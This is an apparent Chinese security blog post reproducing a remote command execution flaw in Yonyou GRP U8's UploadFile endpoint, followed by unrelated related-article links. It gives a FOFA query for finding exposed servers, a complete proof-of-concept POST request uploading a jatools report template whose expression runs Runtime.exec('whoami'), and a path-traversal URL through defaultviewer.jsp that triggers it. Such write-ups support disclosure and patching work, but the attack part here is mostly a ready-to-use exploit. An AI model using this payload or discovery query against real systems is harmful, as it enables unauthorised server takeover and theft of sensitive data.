用友 GRP U8 UploadFile 命令执行

简介: 用友 GRP U8 UploadFile 存在命令执行漏洞,攻击者可通过该漏洞获取服务器敏感信息以及接管服务器。

一、资产发现


FOFA: app="用友-GRP-U8" && port="88"

image.png

二、漏洞复现


POC如下


POST /UploadFile HTTP/1.1

Host: XXX.XX.XX.XX:88

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: JSESSIONID=18F403D91DD537D8DAA24D5A4B45C818

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Length: 3491

 

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="input_localfile"; filename="demodemo.png"

Content-Type: application/octet-stream

 

<jatools Class="jatools.ReportDocument" Name="jatools report template">

<VariableContext>

</VariableContext>

<Page>

<Name>panel</Name>

<Children ItemClass="PagePanel">

<Item0>

<Name>header</Name>

<Width>753</Width>

<Height>80</Height>

<Children ItemClass="Label">

<Item0>

<ForeColor>-65536</ForeColor>

<X>41</X>

<Y>15</Y>

<Width>362</Width>

<Height>62</Height>

</Item0>

</Children>

<Type>100</Type>

</Item0>

<Item1>

<Name>footer</Name>

<Y>802</Y>

<Width>753</Width>

<Height>280</Height>

<Type>103</Type>

</Item1>

<Item2>

<Name>body</Name>

<Y>80</Y>

<Width>753</Width>

<Height>722</Height>

<Children ItemClass="Table">

<Item0>

<NodePath>学生表</NodePath>

<X>115</X>

<Y>77</Y>

<Children>

<Item0 Class="Label">

<Text>家庭成员</Text>

<Border/>

<PrintStyle>united-level:1;</PrintStyle>

<Cell>

<Row>3</Row>

<Col>0</Col>

<RowSpan>2</RowSpan>

</Cell>

</Item0>

<Item1 Class="Label">

<Text>关系</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>1</Col>

</Cell>

</Item1>

<Item2 Class="Label">

<Text>性别</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>2</Col>

</Cell>

</Item2>

<Item3 Class="Label">

<Text>年龄</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>3</Col>

</Cell>

</Item3>

<Item4 Class="Label">

<Text>得分</Text>

<Border/>

<Cell>

<Row>2</Row>

<Col>0</Col>

</Cell>

</Item4>

<Item5 Class="Label">

<Text>性别</Text>

<Border/>

<Cell>

<Row>1</Row>

<Col>0</Col>

</Cell>

</Item5>

<Item6 Class="Label">

<Text>姓名</Text>

<Border/>

<Cell>

<Row>0</Row>

<Col>0</Col>

</Cell>

</Item6>

<Item7 Class="Text">

<Variable>=$学生表</Variable>

<Border/>

<Cell>

<Row>0</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item7>

<Item8 Class="Text">

<Variable>=$学生表.value()</Variable>

<Border/>

<Cell>

<Row>1</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item8>

<Item9 Class="Text">

<Variable>=$学生表.getName()</Variable>

<Border/>

<Cell>

<Row>2</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item9>

<Item10 Class="RowPanel">

<Cell>

<Row>4</Row>

<Col>0</Col>

<ColSpan>4</ColSpan>

</Cell>

<Children ItemClass="Text">

<Item0>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>3</Col>

</Cell>

</Item0>

<Item1>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>2</Col>

</Cell>

</Item1>

<Item2>

<Variable>;</Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>1</Col>

</Cell>

</Item2>

</Children>

<NodePath>成员</NodePath>

</Item10>

</Children>

<ColumnWidths>60,60,60,60</ColumnWidths>

<RowHeights>20,20,20,20,20</RowHeights>

</Item0>

</Children>

<Type>102</Type>

</Item2>

</Children>

</Page>

<NodeSource>

<Children ItemClass="ArrayNodeSource">

<Item0>

<Children ItemClass="ArrayNodeSource">

<Item0>

<TagName>成员</TagName>

<Expression>$.value()</Expression>

</Item0>

</Children>

<TagName>学生表</TagName>

<Expression>new Object[]{new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())).readLine()}</Expression>

</Item0>

</Children>

</NodeSource>

</jatools>

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="type"

 

1

------WebKitFormBoundaryicNNJvjQHmXpnjFc—


三、复现结果


可以看到返回包回显为Success

image.png

然后访问http://x.x.x.x/u8qx/tools/defaultviewer.jsp?file=../../upload/demodemo.png

image.png

目录
打赏
0
2
2
0
141
分享
相关文章
Ansible 文件从远程取文件fetch和传文件到远程copy(学习笔记四)
fetch模块: copy模块: 1、从远程主机获取文件:ansible all -m fetch -a "src=/root/test.sh dest=/root/test" image.
5141 0
|
10月前
|
window如何批量创建文件夹
【5月更文挑战第20天】window如何批量创建文件夹
409 1
将指定文件夹纳入OneDrive同步:mklink命令
本文介绍利用mklink语言,使得OneDrive自动同步电脑中任意指定文件夹的方法~
537 1
将指定文件夹纳入OneDrive同步:mklink命令
小技巧 - 无需微云会员满速下载文件方法
小技巧 - 无需微云会员满速下载文件方法
477 0
小技巧 - 无需微云会员满速下载文件方法
金蝶BOS开发代码调用过程
金蝶BOS开发代码调用过程
197 0
VBS自编写脚本。(实现批量修改文件名且在执行前,备份原有文件夹中的文件)
'=========================================================================='' VBScript Source File -- Created with SAPIEN Technologies PrimalScript 4.
1363 0
[20171219]脚本执行的安全性.txt
[20171219]脚本执行的安全性.txt --//昨天检查发现应用中存在一个奇怪的表名,存在怪字符,我估计维护者不熟悉vi操作,导致这种情况出现. --//最近一直在关注安全方面的信息,这方面一直是自己的弱项,要防别人攻击,必须知道别人如何攻击的.
1132 0
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等